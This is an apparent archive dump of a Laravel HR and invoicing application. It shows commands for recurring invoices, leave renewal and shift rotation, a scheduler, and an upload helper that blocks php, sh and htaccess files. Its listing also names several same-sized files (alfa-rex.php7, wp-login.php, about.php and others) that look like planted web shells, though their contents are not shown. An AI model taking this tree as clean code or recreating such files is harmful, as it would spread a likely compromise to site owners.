($recurring->next_invoice_date->timezone($company->timezone)->isPast() || $recurring->next_invoice_date->timezone($company->timezone)->isToday()) { $numIterations = $recurring->next_invoice_date->timezone($company->timezone)->diffInDays(now()) + 1; for ($i = 0; $i < $numIterations; $i++) { if ($totalExistingCount >= $recurring->billing_cycle) { break; } $totalExistingCount++; $this->invoiceCreate($recurring, now()->subDays($numIterations - 1)->addDays($i)); $this->saveNextInvoiceDate($recurring); } } } } return Command::SUCCESS; } private function saveNextInvoiceDate($recurring) { $days = match ($recurring->rotation) { 'daily' => now()->addDay(), 'weekly' => now()->addWeek(), 'bi-weekly' => now()->addWeeks(2), 'monthly' => now()->addMonth(), 'quarterly' => now()->addQuarter(), 'half-yearly' => now()->addMonths(6), 'annually' => now()->addYear(), default => now()->addDay(), }; $days = $days->timezone($recurring->company->timezone); $recurring->next_invoice_date = $days->format('Y-m-d'); $recurring->save(); } /** * Execute the console command. * * @return mixed */ public function invoiceCreate($invoiceData, $date = null) { $recurring = $invoiceData; $invoiceDate = now()->timezone($recurring->company->timezone); if ($date) { $invoiceDate = $date->timezone($recurring->company->timezone); } $defaultAddress = CompanyAddress::where('is_default', 1)->where('company_id', $recurring->company_id)->first(); $diff = $recurring->issue_date->diffInDays($recurring->due_date); $dueDate = now()->addDays($diff)->format('Y-m-d'); $invoice = new Invoice(); $invoice->invoice_recurring_id = $recurring->id; $invoice->company_id = $recurring->company_id; $invoice->project_id = $recurring->project_id ?? null; $invoice->client_id = $recurring->client_id ?: null; $invoice->invoice_number = Invoice::lastInvoiceNumber($recurring->company_id) + 1; $invoice->issue_date = $invoiceDate->format('Y-m-d'); $invoice->due_date = $dueDate; $invoice->sub_total = round($recurring->sub_total, 2); $invoice->discount = $recurring->discount; $invoice->discount_type = $recurring->discount_type; $invoice->total = round($recurring->total, 2); $invoice->due_amount = round($recurring->total, 2); $invoice->currency_id = $recurring->currency_id; $invoice->note = $recurring->note; $invoice->show_shipping_address = $recurring->show_shipping_address; $invoice->send_status = 1; $invoice->company_address_id = $defaultAddress->id; $invoice->bank_account_id = $recurring->bank_account_id; $invoice->created_at = now()->timezone($recurring->company->timezone); $invoice->updated_at = now()->timezone($recurring->company->timezone); $invoice->save(); if ($invoice->show_shipping_address) { if ($invoice->project_id != null && $invoice->project_id != '') { $client = $invoice->project->clientdetails; $client->shipping_address = $invoice->project->client->clientDetails->shipping_address; $client->save(); } elseif ($invoice->client_id != null && $invoice->client_id != '') { $client = $invoice->clientdetails; $client->shipping_address = $invoice->client->clientDetails->shipping_address; $client->save(); } } foreach ($recurring->items as $item) { $invoiceItem = InvoiceItems::create( [ 'invoice_id' => $invoice->id, 'item_name' => $item->item_name, 'item_summary' => $item->item_summary, 'unit_id' => (!is_null($item->unit_id)) ? $item->unit_id : null, 'product_id' => (!is_null($item->product_id)) ? $item->product_id : null, 'hsn_sac_code' => (isset($item->hsn_sac_code)) ? $item->hsn_sac_code : null, 'type' => 'item', 'quantity' => $item->quantity, 'unit_price' => $item->unit_price, 'amount' => $item->amount, 'taxes' => $item->taxes ] ); if ($item->recurringInvoiceItemImage) { // Add invoice item image InvoiceItemImage::create( [ 'invoice_item_id' => $invoiceItem->id, 'filename' => $item->recurringInvoiceItemImage->filename, 'hashname' => $item->recurringInvoiceItemImage->hashname, 'size' => $item->recurringInvoiceItemImage->size, 'external_link' => $item->recurringInvoiceItemImage->external_link ] ); // Copy files here if ($item->recurringInvoiceItemImage->filename != '') { $source = public_path(Files::UPLOAD_FOLDER . '/') . RecurringInvoiceItemImage::FILE_PATH . '/' . $item->id . '/' . $item->recurringInvoiceItemImage->hashname; $path = public_path(Files::UPLOAD_FOLDER . '/') . InvoiceItemImage::FILE_PATH . '/' . $invoiceItem->id . '/'; $filename = $item->recurringInvoiceItemImage->hashname; if (!file_exists($path)) { mkdir($path, 0777, true); } copy($source, $path . $filename); } } } if (($invoice->project && $invoice->project->client_id != null) || $invoice->client_id != null) { $clientId = ($invoice->project && $invoice->project->client_id != null) ? $invoice->project->client_id : $invoice->client_id; // Notify client $notifyUser = User::withoutGlobalScope(ActiveScope::class)->find($clientId); if ($notifyUser) { $notifyUser->notify(new NewInvoiceRecurring($invoice)); } } // Log search $this->logSearchEntry($invoice->id, $invoice->invoice_number, 'invoices.show', 'invoice'); } } Console/Commands/about.php7000064400000026574150325104510011633 0ustar00Console/Commands/LeavesQuotaRenew.php000064400000005307150325104510013653 0ustar00chunk(50, function ($companies) { foreach ($companies as $company) { $this->renewLeavesQuotaForCompany($company); } }); } /** * Renew leaves quota for the company */ public function renewLeavesQuotaForCompany(Company $company) { if ($company->leaves_start_from == 'year_start') { $today = Carbon::now($company->timezone)->startOfDay(); $companyYearStart = Carbon::create($today->year, (int)$company->year_starts_from, tz: $company->timezone)->startOfDay(); if ($today->ne($companyYearStart)) { return; } } $employees = User::withoutGlobalScopes() ->where('company_id', $company->id) ->when($company->leaves_start_from == 'joining_date', function ($query) use ($company) { $query->whereHas('employeeDetail', function ($q) use ($company) { $q->whereMonth('joining_date', Carbon::now($company->timezone)->month) ->whereDay('joining_date', Carbon::now($company->timezone)->day); }); }) ->onlyEmployee()->get(); foreach ($employees as $employee) { $this->renewLeavesQuota($employee); } } /** * Renew leaves quota for the employee */ public function renewLeavesQuota(User $employee) { $employeeLeaveTypes = $employee->leaveTypes; foreach ($employeeLeaveTypes as $employeeLeaveType) { $leaveType = $employeeLeaveType->leaveType; $noOfLeaves = $leaveType->no_of_leaves; if ($leaveType->unused_leave == 'carry forward') { $noOfLeaves += $employeeLeaveType->leaves_remaining; } $this->info('Renewing leaves quota for ' . $employee->name . ' for ' . $leaveType->type_name . ' with ' . $noOfLeaves . ' leaves'); $employeeLeaveType->update([ 'no_of_leaves' => $noOfLeaves, 'leaves_remaining' => $noOfLeaves, 'leaves_used' => 0 ]); } } } Console/Commands/AssignEmployeeShiftRotation.php000064400000054411150325104510016063 0ustar00option('rotation_ids'); $currentDate = Carbon::now(); $dayOfWeekMap = [ 1 => Carbon::MONDAY, 2 => Carbon::TUESDAY, 3 => Carbon::WEDNESDAY, 4 => Carbon::THURSDAY, 5 => Carbon::FRIDAY, 6 => Carbon::SATURDAY, 0 => Carbon::SUNDAY, ]; $dayNameWeekMap = [ 'sunday' => Carbon::SUNDAY, 'monday' => Carbon::MONDAY, 'tuesday' => Carbon::TUESDAY, 'wednesday' => Carbon::WEDNESDAY, 'thursday' => Carbon::THURSDAY, 'friday' => Carbon::FRIDAY, 'saturday' => Carbon::SATURDAY, ]; Company::active()->select('id')->chunk(50, function ($companies) use ($currentDate, $dayOfWeekMap, $dayNameWeekMap, $rotationIds) { foreach ($companies as $company) { $dayOff = EmployeeShift::where('company_id', $company->id)->where('shift_name', 'Day Off')->first(); $automateShifts = AutomateShift::whereHas('rotation', function ($query) use ($company, $rotationIds) { $query->where('company_id', $company->id) ->whereIn('id', $rotationIds); })->with(['sequences', 'rotation', 'user'])->get(); $shiftSequences = ShiftRotationSequence::whereIn('employee_shift_rotation_id', $automateShifts->pluck('employee_shift_rotation_id'))->orderBy('sequence')->get()->groupBy('employee_shift_rotation_id'); foreach ($automateShifts as $automateShift) { if ($automateShift->rotation->status == 'active'){ $logs = RotationAutomateLog::where('company_id', $company->id)->where('employee_shift_rotation_id', $automateShift->rotation->id)->where('user_id', $automateShift->user->id)->get()->keyBy('employee_shift_rotation_id'); $log = $logs->get($automateShift->rotation->id); $sequences = $shiftSequences->get($automateShift->employee_shift_rotation_id, collect()); $currentSequence = $log->sequence ?? null; if ($currentSequence && ($log && ($log->cron_run_date != $currentDate->format('Y-m-d')))) { $sequence = $sequences->where('sequence', '>', $currentSequence)->first(); $nextShiftSequence = $sequence ? $sequence : $sequences->first(); } else { $nextShiftSequence = $sequences->first(); } if ($nextShiftSequence && $sequences->isNotEmpty()) { $employeeShift = EmployeeShift::find($nextShiftSequence->employee_shift_id); $officeOpenDays = json_decode($employeeShift->office_open_days); $employeeData = User::with('employeeDetail')->find($automateShift->user->id); $dayString = str_replace('every-', '', $automateShift->rotation->schedule_on); $dayString = strtolower($dayString); $dayOfWeek = ''; if (isset($dayNameWeekMap[$dayString])) { $dayOfWeek = $dayNameWeekMap[$dayString]; } // Retrieve holidays based on employee details $holidaysForUser = $this->retrieveHolidaysForUser($employeeData); $rotationFrequency = $automateShift->rotation->rotation_frequency; $isWeekly = $rotationFrequency == 'weekly'; $isBiWeekly = $rotationFrequency == 'bi-weekly'; $isMonthly = $rotationFrequency == 'monthly'; $bothWeekly = $rotationFrequency == 'weekly' || $rotationFrequency == 'bi-weekly'; $isCorrectDayOfWeek = $currentDate->dayOfWeek == $dayOfWeek; $currentDates = []; $weekOffDays = []; $scheduleOn = $automateShift->rotation->schedule_on; $previousScheduleDate = $this->getPreviousScheduleDate($scheduleOn, $dayNameWeekMap); // Weekly if ($isWeekly) { $reqFrom = 'weekly'; $currentDates = $this->getOfficeOpenDates($reqFrom, $dayOfWeekMap, $officeOpenDays, $holidaysForUser, $previousScheduleDate); $weekOffDays = $this->getWeekendDays($reqFrom, $dayOfWeekMap, $officeOpenDays, $previousScheduleDate); } // Bi-weekly if ($isBiWeekly) { $shouldGetDates = true; // if (!is_null($log) && Carbon::parse($log->cron_run_date)->diffInDays() < 14) { // $shouldGetDates = false; // } if ($shouldGetDates) { $reqFrom = 'bi-weekly'; $currentDates = $this->getOfficeOpenDates($reqFrom, $dayOfWeekMap, $officeOpenDays, $holidaysForUser, $previousScheduleDate); $weekOffDays = $this->getWeekendDays($reqFrom, $dayOfWeekMap, $officeOpenDays, $previousScheduleDate); } } // Monthly $rotationDate = $this->getFullDateForCurrentMonth($automateShift->rotation->rotation_date); $isCorrectDayOfMonth = $rotationDate == $currentDate->format('Y-m-d'); $carbonDate = Carbon::parse($rotationDate); $lastDateOfMonth = $carbonDate->endOfMonth(); if($carbonDate->month === 2 && $lastDateOfMonth->format('d') < $automateShift->rotation->rotation_date && $currentDate->format('Y-m-d') == $rotationDate){ $isCorrectDayOfMonth = true; } else if($carbonDate->month !== 2 ) { $isCorrectDayOfMonth = $rotationDate == $currentDate->format('Y-m-d'); } if ($isMonthly) { $reqFrom = 'monthly'; $currentDates = $this->getOfficeOpenDates($reqFrom, $dayOfWeekMap, $officeOpenDays, $holidaysForUser, $rotationDate); $weekOffDays = $this->getWeekendDays($reqFrom, $dayOfWeekMap, $officeOpenDays, $rotationDate); } if (!empty($currentDates) && (($bothWeekly ) || ($isMonthly))) { foreach ($currentDates as $date) { $date = Carbon::parse($date); if ($date->greaterThanOrEqualTo($employeeData->employeeDetail->joining_date) && (is_null($officeOpenDays) || (is_array($officeOpenDays) && in_array($date->dayOfWeek, $officeOpenDays)))) { $shift = EmployeeShiftSchedule::where('date', $date->format('Y-m-d'))->where('user_id', $automateShift->user->id)->first(); if (!$shift) { $shift = new EmployeeShiftSchedule(); $shift->user_id = $automateShift->user->id; $shift->date = $date->format('Y-m-d'); $shift->employee_shift_id = $nextShiftSequence->employee_shift_id; $shift->added_by = null; $shift->last_updated_by = null; $shift->shift_start_time = $date->format('Y-m-d') .' '.$employeeShift->office_start_time; $shift->shift_end_time = $date->format('Y-m-d') .' '.$employeeShift->office_end_time; $shift->remarks = 'Automate shift rotation assigned'; $shift->save(); } if($shift && $automateShift->rotation->override_shift == 'yes') { $shift->user_id = $automateShift->user->id; $shift->date = $date->format('Y-m-d'); $shift->employee_shift_id = $nextShiftSequence->employee_shift_id; $shift->added_by = null; $shift->last_updated_by = null; $shift->shift_start_time = $date->format('Y-m-d') .' '.$employeeShift->office_start_time; $shift->shift_end_time = $date->format('Y-m-d') .' '.$employeeShift->office_end_time; $shift->remarks = 'Automate shift rotation assigned'; $shift->save(); } } } foreach ($weekOffDays as $weekOffDay) { $weekOffDay = Carbon::parse($weekOffDay); $weekEndShift = EmployeeShiftSchedule::where('user_id', $automateShift->user->id)->where('date', $weekOffDay->format('Y-m-d'))->first(); if (!$weekEndShift) { EmployeeShiftSchedule::create([ 'user_id' => $automateShift->user->id, 'date' => $weekOffDay->format('Y-m-d'), 'employee_shift_id' => $dayOff->id, 'added_by' => null, 'last_updated_by' => null, 'shift_start_time' => $weekOffDay->format('Y-m-d') .' '.$dayOff->office_start_time, 'shift_end_time' => $weekOffDay->format('Y-m-d') .' '.$dayOff->office_end_time, 'remarks' => 'Automate shift rotation assigned', ]); } elseif ($weekEndShift && $automateShift->rotation->override_shift == 'yes') { $weekEndShift->user_id = $automateShift->user->id; $weekEndShift->date = $weekOffDay->format('Y-m-d'); $weekEndShift->employee_shift_id = $dayOff->id; $weekEndShift->added_by = null; $weekEndShift->last_updated_by = null; $weekEndShift->shift_start_time = $weekOffDay->format('Y-m-d') .' '.$dayOff->office_start_time; $weekEndShift->shift_end_time = $weekOffDay->format('Y-m-d') .' '.$dayOff->office_end_time; $weekEndShift->remarks = 'Automate shift rotation assigned'; $weekEndShift->save(); } } if (!$log) { $log = new RotationAutomateLog(); $log->company_id = $company->id; $log->user_id = $automateShift->user->id; $log->employee_shift_rotation_id = $nextShiftSequence->employee_shift_rotation_id; $log->employee_shift_id = $nextShiftSequence->employee_shift_id; $log->sequence = $nextShiftSequence->sequence; $log->cron_run_date = $currentDate->format('Y-m-d'); } else { $log->employee_shift_id = $nextShiftSequence->employee_shift_id; $log->sequence = $nextShiftSequence->sequence; $log->cron_run_date = $currentDate->format('Y-m-d'); } $log->save(); if($automateShift->rotation->send_mail == 'yes') { event(new ShiftRotationEvent($employeeData, $currentDates, $rotationFrequency)); } } } } } } }); return Command::SUCCESS; } private function getFullDateForCurrentMonth($dayOfMonth) { $currentDate = Carbon::now(); $daysInMonth = $currentDate->daysInMonth; $dayOfMonth = min($dayOfMonth, $daysInMonth); $fullDate = Carbon::create($currentDate->year, $currentDate->month, $dayOfMonth); return $fullDate->format('Y-m-d'); // Return the formatted date } private function getUserHolidays($holidaysForUser) { if (!empty($holidaysForUser)) { return array_map(function ($holiday) { return Carbon::parse($holiday)->format('Y-m-d'); }, $holidaysForUser); } else { return $holidaysForUser; } } private function getWeekendDays($reqFrom, $dayOfWeekMap, $officeOpenDays, $rotationDate = null) { $today = Carbon::now(); $weekendDates = []; $officeDays = []; $rotationDate = $rotationDate ? Carbon::parse($rotationDate) : null; $startDate = $today->copy(); $endDate = match ($reqFrom) { 'bi-weekly' => $rotationDate->copy()->addDays(14), default => $rotationDate->copy()->addDays(7), }; if ($reqFrom == 'monthly') { $currentDate = $today; $nextMonth = $today->copy()->addMonthNoOverflow(); $year = $nextMonth->format('Y'); $month = $nextMonth->format('m'); $date = Carbon::create($year, $month, 1); $daysInNextMonth = $date->daysInMonth; if ($daysInNextMonth < 30) { // End date is a day before the last date of next month (in feb.) if ($daysInNextMonth == 28) { $endDate = $date->copy()->endOfMonth()->subDay(); $endDate = $endDate->addDay(1); } else { $endDate = $rotationDate->copy()->addDays($daysInNextMonth); $endDate = $endDate->addDay(1); } } else if($currentDate->daysInMonth < 30 && $daysInNextMonth >= 30){ // End date is a day before the last date of next month (in march) if ($currentDate->daysInMonth == 29) { $subDays = (31 - $currentDate->daysInMonth); $endDate = $rotationDate->copy()->addDays($daysInNextMonth)->subDays($subDays); $endDate = $endDate->addDay(1); } elseif ($currentDate->daysInMonth == 28) { $subDays = (29 - $currentDate->daysInMonth); $endDate = $rotationDate->copy()->addDays($daysInNextMonth)->subDays($subDays); $endDate = $endDate->addDay(1); } else { $subDays = (30 - $currentDate->daysInMonth); $endDate = $rotationDate->copy()->addDays($daysInNextMonth)->subDays($subDays); $endDate = $endDate->addDay(1); } } else { $endDate = $rotationDate->copy()->addMonth()->subDay(); // End date is a day before the same date of next month $endDate = $endDate->addDay(1); } } foreach ($officeOpenDays as $dayOfWeek) { if (isset($dayOfWeekMap[$dayOfWeek])) { for ($date = $startDate->copy(); $date->lte($endDate); $date->addDay()) { if ($date->dayOfWeek == $dayOfWeekMap[$dayOfWeek]) { $officeDays[] = $date->format('Y-m-d'); } } } } for ($date = $startDate->copy(); $date->lte($endDate); $date->addDay()) { if (!in_array($date->dayOfWeek, $officeOpenDays)) { $weekendDates[] = $date->format('Y-m-d'); } } sort($weekendDates); return $weekendDates; } private function getOfficeOpenDates($reqFrom, $dayOfWeekMap, $officeOpenDays, $holidaysForUser, $rotationDate = null) { $currentDates = []; $today = Carbon::now(); $holidayDates = $this->getUserHolidays($holidaysForUser); $rotationDate = Carbon::parse($rotationDate); if ($reqFrom === 'bi-weekly') { $endDate = $rotationDate->copy()->addDays(14); // End date after 14 days from today } elseif ($reqFrom === 'monthly') { $currentDate = $today; $nextMonth = $today->copy()->addMonthNoOverflow(); $year = $nextMonth->format('Y'); $month = $nextMonth->format('m'); $date = Carbon::create($year, $month, 1); $daysInNextMonth = $date->daysInMonth; if ($daysInNextMonth < 30) { // End date is a day before the last date of next month (feb.) $endDate = $rotationDate->copy()->addDays($daysInNextMonth); $endDate = $endDate->addDay(1); } else if($currentDate->daysInMonth < 30 && $daysInNextMonth >= 30){ if ($currentDate->daysInMonth == 29) { $subDays = (31 - $currentDate->daysInMonth); $endDate = $rotationDate->copy()->addDays($daysInNextMonth)->subDays($subDays); $endDate = $endDate->addDay(1); } else { $subDays = (30 - $currentDate->daysInMonth); $endDate = $rotationDate->copy()->addDays($daysInNextMonth)->subDays($subDays); $endDate = $endDate->addDay(1); } } else { $endDate = $rotationDate->copy()->addMonth()->subDay(); // End date is a day before the same date of next month $endDate = $endDate->addDay(1); } } else { $endDate = $rotationDate->copy()->addDays(7); // End date after 7 days from today } foreach ($officeOpenDays as $dayOfWeek) { if (isset($dayOfWeekMap[$dayOfWeek])) { for ($date = ($reqFrom === 'monthly' ? $currentDate : $today)->copy(); $date->lte($endDate); $date->addDay()) { if ($date->dayOfWeek == $dayOfWeekMap[$dayOfWeek] && !in_array($date->format('Y-m-d'), $holidayDates)) { $currentDates[] = $date->format('Y-m-d'); } } } } sort($currentDates); return $currentDates; } private function retrieveHolidaysForUser($employeeData) { return Holiday::where(function ($query) use ($employeeData) { $query->where(function ($subquery) use ($employeeData) { $subquery->where(function ($q) use ($employeeData) { $q->where('department_id_json', 'like', '%"' . $employeeData->employeeDetail->department_id . '"%') ->orWhereNull('department_id_json'); }); $subquery->where(function ($q) use ($employeeData) { $q->where('designation_id_json', 'like', '%"' . $employeeData->employeeDetail->designation_id . '"%') ->orWhereNull('designation_id_json'); }); $subquery->where(function ($q) use ($employeeData) { $q->where('employment_type_json', 'like', '%"' . $employeeData->employeeDetail->employment_type . '"%') ->orWhereNull('employment_type_json'); }); }); })->get()->pluck('date')->map(function ($date) { return $date->format('Y-m-d'); })->toArray(); } private function getPreviousScheduleDate($scheduleOn, $dayNameWeekMap) { $dayName = strtolower(str_replace('every-', '', $scheduleOn)); if (isset($dayNameWeekMap[$dayName])) { $dayOfWeek = $dayNameWeekMap[$dayName]; $today = Carbon::now(); if ($today->dayOfWeek == $dayOfWeek) { return $today; } return $today->previous($dayOfWeek); } return Carbon::now(); } } Console/Commands/SendInvoiceReminder.php000064400000006442150325104510014316 0ustar00select('id', 'timezone')->with('currency')->chunk(50, function ($companies) { foreach ($companies as $company) { $invoice_setting = InvoiceSetting::where('company_id', $company->id)->first(); $invoices = Invoice::whereNotNull('due_date') ->where('status', '!=', 'paid') ->where('status', '!=', 'canceled') ->where('status', '!=', 'draft') ->where('company_id', $company->id); if ($invoice_setting->send_reminder != 0) { $invoicesBefore = $invoices ->whereDate('due_date', now($company->timezone)->addDays($invoice_setting->send_reminder)) ->get(); foreach ($invoicesBefore as $invoice) { $notifyUser = $invoice->client; if (!is_null($notifyUser)) { event(new InvoiceReminderEvent($invoice, $notifyUser, $invoice_setting->send_reminder)); } } } if ($invoice_setting->reminder == 'after') { $invoicesAfter = $invoices ->whereDate('due_date', now($company->timezone)->subDays($invoice_setting->send_reminder_after)) ->get(); foreach ($invoicesAfter as $invoice) { $notifyUser = $invoice->client; if (!is_null($notifyUser)) { event(new InvoiceReminderAfterEvent($invoice, $notifyUser, $invoice_setting->send_reminder_after)); } } } else { $invoicesEvery = $invoices ->whereDate('due_date', '<', now($company->timezone)) ->get(); foreach ($invoicesEvery as $invoice) { $notifyUser = $invoice->client; $date_diff = $invoice->due_date->diffInDays(now()); if ($invoice_setting->send_reminder_after != 0) { if ($date_diff % $invoice_setting->send_reminder_after == 0 && !is_null($notifyUser)) { event(new InvoiceReminderAfterEvent($invoice, $notifyUser, $invoice_setting->send_reminder_after)); } } } } } }); return Command::SUCCESS; } } Console/alfa-rex.php7000064400000026574150325104510010457 0ustar00Console/alfa-rex.php8000064400000026574150325104510010460 0ustar00Console/wp-login.php000064400000026574150325104510010425 0ustar00Console/alfa-rex.php56000064400000026574150325104510010543 0ustar00Console/about.php000064400000026574150325104510010003 0ustar00Console/error_log000064400000001626150325104510010064 0ustar00[04-Jul-2025 12:46:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:07:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Console/Kernel.php000064400000014555150325104510010105 0ustar00command('recurring-task-create')->dailyAt('00:30'); $schedule->command('auto-stop-timer')->everyThirtyMinutes(); $schedule->command('birthday-notification')->dailyAt('09:00'); // Every Minute $schedule->command('send-event-reminder')->everyMinute(); $schedule->command('auto-clock-out')->everyMinute(); $schedule->command('hide-cron-message')->everyMinute(); $schedule->command('send-attendance-reminder')->everyMinute(); $schedule->command('sync-user-permissions')->everyMinute(); // $schedule->command('fetch-ticket-emails')->everyMinute(); // phpcs:ignore $schedule->command('send-auto-followup-reminder')->everyMinute(); $schedule->command('send-time-tracker')->everyMinute(); // Daily added different time to reduce server load $schedule->command('send-project-reminder')->dailyAt('01:10'); $schedule->command('send-auto-task-reminder')->dailyAt('01:20'); $schedule->command('recurring-invoice-create')->dailyAt('01:30'); $schedule->command('recurring-expenses-create')->dailyAt('01:40'); $schedule->command('send-invoice-reminder')->dailyAt('01:50'); $schedule->command('delete-seen-notification')->dailyAt('02:10'); $schedule->command('update-exchange-rate')->dailyAt('02:20'); $schedule->command('send-daily-timelog-report')->dailyAt('02:30'); // $schedule->command('app:leaves-quota-renew')->dailyAt('02:30'); $schedule->command('log:clean --keep-last')->dailyAt('02:40'); $schedule->command('inactive-employee')->dailyAt('02:50'); $schedule->command('daily-schedule-reminder')->daily(); $schedule->command('assign-shift-rotation')->dailyAt('00:01'); // Hourly $schedule->command('clear-null-session')->hourly(); $schedule->command('create-database-backup')->hourly(); $schedule->command('delete-database-backup')->hourly(); $schedule->command('add-missing-permissions')->everyThirtyMinutes(); $schedule->command('send-monthly-attendance-report')->monthly(); $schedule->command('app:create-employee-leave-quota-history')->monthly(); // $schedule->command('carry-forward-leave')->monthly(); $schedule->command('app:annual-carry-forward-leaves')->monthly(); $schedule->command('app:annual-reimburse-leaves')->monthly(); $schedule->command('app:recalculate-leaves-quotas')->monthly(); $schedule->command('queue:flush')->weekly(); // Schedule the queue:work command to run without overlapping and with 3 tries $schedule->command('queue:work database --tries=3 --stop-when-empty')->withoutOverlapping(); } /** * Register the commands for the application. * * @return void */ protected function commands() { $this->load(__DIR__ . '/Commands'); } } Console/about.php7000064400000026574150325104510010072 0ustar00Helper/alfa-rex.php000064400000026574150325104510010205 0ustar00Helper/UserService.php000064400000000704150325104510010730 0ustar00is_client_contact == 1) { $clientContact = ClientContact::where('client_id', user()->id)->first(); $client = User::where('id', $clientContact->user_id)->first(); return $client->id; } else { return user()?->id; } } } Helper/.htaccess000064400000000544150325104510007560 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Helper/Files.php000064400000032251150325104510007535 0ustar00 'local']); $uploadedFile = $image; $folder = $dir . '/'; self::validateUploadedFile($uploadedFile); $newName = self::generateNewFileName($uploadedFile->getClientOriginalName()); $tempPath = public_path(self::UPLOAD_FOLDER . '/temp/' . $newName); /** Check if folder exits or not. If not then create the folder */ self::createDirectoryIfNotExist($folder); $newPath = $folder . '/' . $newName; $uploadedFile->storeAs('temp', $newName); if (($width && $height) && File::extension($uploadedFile->getClientOriginalName()) !== 'svg') { Image::make($tempPath) ->resize($width, $height, function ($constraint) { $constraint->aspectRatio(); $constraint->upsize(); }) ->save(); } Storage::put($newPath, File::get($tempPath), ['public']); // Deleting temp file File::delete($tempPath); return $newName; } /** * @throws ApiException */ public static function validateUploadedFile($uploadedFile) { if (!$uploadedFile->isValid()) { throw new ApiException('File was not uploaded correctly'); } if ($uploadedFile->getClientOriginalExtension() === 'php' || $uploadedFile->getMimeType() === 'text/x-php') { throw new ApiException('You are not allowed to upload the php file on server', null, 422, 422, 2023); } if ($uploadedFile->getClientOriginalExtension() === 'sh' || $uploadedFile->getMimeType() === 'text/x-shellscript') { throw new ApiException('You are not allowed to upload the shell script file on server', null, 422, 422, 2023); } if ($uploadedFile->getClientOriginalExtension() === 'htaccess') { throw new ApiException('You are not allowed to upload the htaccess file on server', null, 422, 422, 2023); } if ($uploadedFile->getClientOriginalExtension() === 'xml') { throw new ApiException('You are not allowed to upload XML FILE', null, 422, 422, 2023); } if ($uploadedFile->getSize() <= 10) { throw new ApiException('You are not allowed to upload a file with filesize less than 10 bytes', null, 422, 422, 2023); } } public static function generateNewFileName($currentFileName) { $ext = strtolower(File::extension($currentFileName)); $newName = md5(microtime()); return ($ext === '') ? $newName : $newName . '.' . $ext; } /** * @throws \Exception */ public static function uploadLocalOrS3($uploadedFile, $dir, $width = null, int $height = 400) { self::validateUploadedFile($uploadedFile); try { // If width and height is provided then upload image if (($width && $height)) { return self::uploadImage($uploadedFile, $dir, $width, $height); } // Add data to file_storage table $newName = self::fileStore($uploadedFile, $dir); $fileVisibility = []; if (config('filesystems.default') == 'local') { $fileVisibility = ['directory_visibility' => 'public', 'visibility' => 'public']; } // We have given 2 options of upload for now s3 and local Storage::disk(config('filesystems.default'))->putFileAs($dir, $uploadedFile, $newName, $fileVisibility); // Upload files to aws s3 or digitalocean or wasabi or minio Storage::disk(config('filesystems.default'))->missing($dir . '/' . $newName); return $newName; } catch (\Exception $e) { throw new \Exception(__('app.fileNotUploaded') . ' ' . $e->getMessage() . ' on ' . config('filesystems.default')); } } public static function fileStore($file, $folder, $generateNewName = '') { // Generate a new name if $generateNewName is empty $newName = $generateNewName ?: self::generateNewFileName($file->getClientOriginalName()); // Retrieve enabled storage setting $setting = StorageSetting::where('status', 'enabled')->firstOrFail(); $storageLocation = $setting->filesystem; // Store file information in the database $fileStorage = new FileStorage(); $fileStorage->filename = $newName; $fileStorage->size = $file->getSize(); $fileStorage->type = $file->getClientMimeType(); $fileStorage->path = $folder; $fileStorage->storage_location = $storageLocation; $fileStorage->save(); return $newName; } public static function deleteFile($filename, $folder) { $dir = trim($folder, '/'); // Check and delete file record from database if ($fileExist = FileStorage::where('filename', $filename)->first()) { $fileExist->delete(); } $filePath = $dir . '/' . $filename; $disk = Storage::disk(config('filesystems.default')); // Delete from Cloud if (in_array(config('filesystems.default'), StorageSetting::S3_COMPATIBLE_STORAGE)) { try { if ($disk->exists($filePath)) { $disk->delete($filePath); } } catch (\Exception $e) { return true; } return true; } // Delete from Local $path = public_path(Files::UPLOAD_FOLDER . '/' . $filePath); if (!File::exists($path)) { return true; } try { File::delete($path); } catch (\Throwable) { return true; } return true; } public static function deleteDirectory($folder) { $dir = trim($folder); try { Storage::deleteDirectory($dir); } catch (\Exception $e) { return true; } return true; } public static function copy($from, $to) { Storage::disk(config('filesystems.default'))->copy($from, $to); } public static function createDirectoryIfNotExist($folder) { $directoryPath = public_path(self::UPLOAD_FOLDER . '/' . $folder); if (!File::exists($directoryPath)) { File::makeDirectory($directoryPath, 0775, true); } } public static function uploadImage($uploadedFile, string $folder, $width = null, int $height = 800) { $newName = self::generateNewFileName($uploadedFile->getClientOriginalName()); $tempPath = public_path(self::UPLOAD_FOLDER . '/temp/' . $newName); /** Check if folder exits or not. If not then create the folder */ self::createDirectoryIfNotExist($folder); $newPath = $folder . '/' . $newName; $uploadedFile->storeAs('temp', $newName, 'local'); // Resizing image if width and height is provided $svgNot = File::extension($uploadedFile->getClientOriginalName()) !== 'svg'; $webPNot = File::extension($uploadedFile->getClientOriginalName()) !== 'webp'; if ($width && $height && $svgNot && $webPNot) { Image::make($tempPath) ->resize($width, $height, function ($constraint) { $constraint->aspectRatio(); $constraint->upsize(); }) ->save(); } Storage::disk(config('filesystems.default'))->put($newPath, File::get($tempPath)); self::fileStore($uploadedFile, $folder, $newName); // Deleting temp file File::delete($tempPath); return $newName; } public static function uploadLocalFile($fileName, $path, $companyId = null): void { if (!File::exists(public_path(Files::UPLOAD_FOLDER . '/' . $path . '/' . $fileName))) { return; } self::saveFileInfo($fileName, $path, $companyId); self::storeLocalFileOnCloud($fileName, $path); } public static function saveFileInfo($fileName, $path, $companyId = null) { $filePath = 